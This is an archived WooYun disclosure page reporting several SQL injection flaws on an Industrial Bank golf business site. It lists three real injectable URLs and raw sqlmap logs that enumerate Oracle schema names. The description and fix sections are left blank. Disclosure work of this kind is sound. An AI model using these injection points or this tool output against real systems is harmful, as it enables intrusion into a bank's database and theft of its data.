当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-096950

漏洞标题：兴业银行某业务站多多处SQL注入漏洞打包

相关厂商：兴业银行

漏洞作者： 雅柏菲卡

提交时间：2015-02-13 11:27

修复时间：2015-03-30 11:28

公开时间：2015-03-30 11:28

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-13： 细节已通知厂商并且等待厂商处理中
2015-02-17： 厂商已经确认，细节仅向厂商公开
2015-02-27： 细节向核心白帽子及相关领域专家公开
2015-03-09： 细节向普通白帽子公开
2015-03-19： 细节向实习白帽子公开
2015-03-30： 细节向公众公开

简要描述：

.....

详细说明：

.............

漏洞证明：

http://ccgolf.cib.com.cn/Match.Site/infov.jsp?id=461 
web application technology: Nginx, JSP
back-end DBMS: Oracle
[13:18:53] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[13:18:53] [INFO] fetching database (schema) names
[13:18:53] [INFO] fetching number of databases
[13:18:53] [INFO] retrieved: 1[13:19:40] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
2
[13:20:19] [INFO] retrieving the length of query output
[13:20:19] [INFO] retrieved: 11
[13:23:08] [INFO] retrieved: APEX_030200
[13:23:09] [INFO] retrieving the length of query output
[13:23:09] [INFO] retrieved: 6[13:24:07] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:24:17] [INFO] retrieved: ______
那么慢  放在这儿吧


http://ccgolf.cib.com.cn/Crs.Site/crs_intro.jsp?crsid=719F29F4-07A7-4D15-BB9B-23F59A1056DA
web application technology: Nginx, JSP
back-end DBMS: Oracle
[13:26:51] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[13:26:51] [INFO] fetching database (schema) names
[13:26:51] [INFO] fetching number of databases
[13:26:51] [INFO] retrieved: 12
[13:27:28] [INFO] retrieving the length of query output
[13:27:28] [INFO] retrieved: 11
[13:28:39] [INFO] retrieved: A______0___ 2/11 (18%)[13:28:39] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:28:54] [INFO] retrieved: AP_X__3020_ 7/11 (64%)[13:28:56] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:28:57] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:29:17] [INFO] retrieved: APEX_030200
[13:29:17] [INFO] retrieving the length of query output
[13:29:17] [INFO] retrieved: 6
[13:29:58] [INFO] retrieved: ______
慢死了  搁在这里


http://ccgolf.cib.com.cn/News.Site/list.jsp?classcode=a13
web application technology: Nginx, JSP
back-end DBMS: Oracle
[13:45:37] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[13:45:37] [INFO] fetching database (schema) names
[13:45:37] [INFO] fetching number of databases
[13:45:37] [INFO] retrieved: 12
[13:46:18] [INFO] retrieving the length of query output
[13:46:18] [INFO] retrieved: 11
[13:47:29] [INFO] retrieved: A__________ 1/11 (9%)[13:47:34] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:47:41] [INFO] retrieved: A_______2__ 2/11 (18%)[13:47:41] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:47:43] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:47:43] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:47:48] [INFO] retrieved: A_E__03_2__ 6/11 (55%)[13:47:56] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:48:15] [INFO] retrieved: APEX_03_200 10/11 (91%)[13:48:28] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:48:38] [INFO] retrieved: APEX_030200
[13:48:38] [INFO] retrieving the length of query output
[13:48:38] [INFO] retrieved: 6
[13:49:30] [INFO] retrieved: CTXSYS
[13:49:30] [INFO] retrieving the length of query output
[13:49:30] [INFO] retrieved: 6
[13:49:53] [INFO] retrieved: [13:50:18] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:50:20] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:50:23] [INFO] retrieved: _____S 1/6 (17%)[13:50:25] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:51:03] [INFO] retrieved: EXFSYS
[13:51:03] [INFO] retrieving the length of query output
[13:51:03] [INFO] retrieved: 5
[13:52:00] [INFO] retrieved: GOLF_ 4/5 (80%)[13:52:05] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:52:23] [INFO] retrieved: GOLF2
[13:52:23] [INFO] retrieving the length of query output
[13:52:23] [INFO] retrieved: 5[13:53:21] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[13:53:29] [INFO] retrieved: _____
太慢  继续搁在这儿

修复方案：

.................

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-02-17 08:22

厂商回复：

最新状态：

暂无